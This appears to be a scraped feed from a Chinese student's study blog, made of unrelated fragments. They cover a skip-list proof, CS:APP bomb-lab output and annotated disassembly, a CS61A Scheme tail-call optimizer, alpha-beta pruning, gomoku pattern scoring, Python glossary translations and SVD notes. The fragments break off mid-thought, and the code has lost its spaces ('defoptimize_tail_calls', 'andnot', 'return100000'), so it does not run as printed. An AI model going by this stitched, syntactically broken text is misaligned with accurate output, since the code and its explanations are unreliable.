基础情况：m=1，两者都从头节点开始，所以 key[i1′]=key[i1]，不变式成立。
假设第 m 次循环开始时 key[im′]≤key[im] 成立，考虑第 m 次生成的随机索引 j：
❯ ./bomb ans.txt Welcome to my fiendish little bomb. You have 6 phases with which to blow yourself up. Have a nice day! Phase 1 defused. How about the next one? That's number 2. Keep going! Halfway there! So you got that one. Try this one. Good work! On to the next... Curses, you've found the secret phase! But finding it and solving it are quite different... Wow! You've defused the secret stage! Congratulations! You've defused the bomb!
400fbe:3b 44 24 0c cmp 0xc(%rsp),%eax // cmp 0xc + %rsp, %eax 400fc2:74 05 je 400fc9 <phase_3+0x86> // if equal, jump to 400fc9, which ends the phase 400fc4:e8 71 04 00 00 call 40143a <explode_bomb> // if not equal, explode the bomb 400fc9:48 83 c4 18 add $0x18,%rsp // clean up the stack 400fcd:c3 ret
从局部上看，这些函数都有“尾部”，例如在 and 和 or 中，最后一个表达式的计算就是尾部调用；在 if 和 cond 中，每个分支的计算也是尾部调用，调用完后就没有其他操作了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
defoptimize_tail_calls(unoptimized_scheme_eval): """Return a properly tail recursive version of an eval function.""" defoptimized_eval(expr, env, tail=False): """Evaluate Scheme expression EXPR in Frame ENV. If TAIL, return an Unevaluated containing an expression for further evaluation. """ if tail andnot scheme_symbolp(expr) andnot self_evaluating(expr): return Unevaluated(expr, env)
result = Unevaluated(expr, env) # BEGIN OPTIONAL PROBLEM 3 "*** YOUR CODE HERE ***" whileisinstance(result, Unevaluated): result = unoptimized_scheme_eval(result.expr, result.env)
return result # END OPTIONAL PROBLEM 3 return optimized_eval
我下 A / B，对面接下来可以下 C/D / 和 E/F, 如果下 A 我最低可以拿到 10 -> alpha，而下 B 之后对方下 E 的话我只能拿到 1 -> beta，那么 beta < alpha，对方肯定下 E，既然我知道下 B 对方必下 E，则我也不会下 B 而会下 A，那么没人在乎 F 是多少，反正下 B 必下 E，所以不用计算 F 的评估值。
反之如果遍历完 E 和 F 以及后续剩下的，都没有让 beta < alpha 的情况，那么说明下 B 比下 A 更好，我就会选择下 B。
intpattern_score(int pattern[5], int player) { int opponent = (player == 1) ? 2 : 1;
// Check five in a row // Count player and opponent int player_count = 0, opponent_count = 0, empty_count = 0; bool all_player = true; for (int i = 0; i < 5; ++i) { if (pattern[i] != player) all_player = false; if (pattern[i] == player) player_count++; elseif (pattern[i] == opponent) opponent_count++; else empty_count++; }
if (all_player) return100000;
if (opponent_count > 0) return0; // opponent blocks
magic method An informal synonym for special method. 一个非正式的同义词，指的是特殊方法。
官方的名称是 special method.
special method A method that is called implicitly by Python to execute a certain operation on a type, such as addition. Such methods have names starting and ending with double underscores. Special methods are documented in Special method names. 特殊方法是 Python 隐式调用的，用于执行某种操作（如加法）的类型方法。这些方法的名称以双下划线开头和结尾。特殊方法在特殊方法名称中有文档说明。
A context manager is an object that defines the runtime context to be established when executing a with statement. The context manager handles the entry into, and the exit from, the desired runtime context for the execution of the block of code. Context managers are normally invoked using the with statement (described in section The with statement), but can also be used by directly invoking their methods.
上下文管理器是一个定义在执行 with 语句时需要建立的运行时上下文的对象。上下文管理器处理代码块执行时进入和退出所需运行时上下文的过程。上下文管理器通常使用 with 语句（在 The with statement 部分中描述）来调用，但也可以通过直接调用其方法来使用。
此外，因为 ATA 是半正半定矩阵，所以它的特征值非负，因此 Σ 的对角线元素 σi 也是非负的。
]]>
https://blog.z0z0r4.top/2025/12/08/linear-algebra/2025-12-08T15:42:30.000Z
此处用于记录我学习 MIT 18.06 Linear Algebra 的笔记。]]>
Linear Algebra2026-03-28T06:35:16.534Z
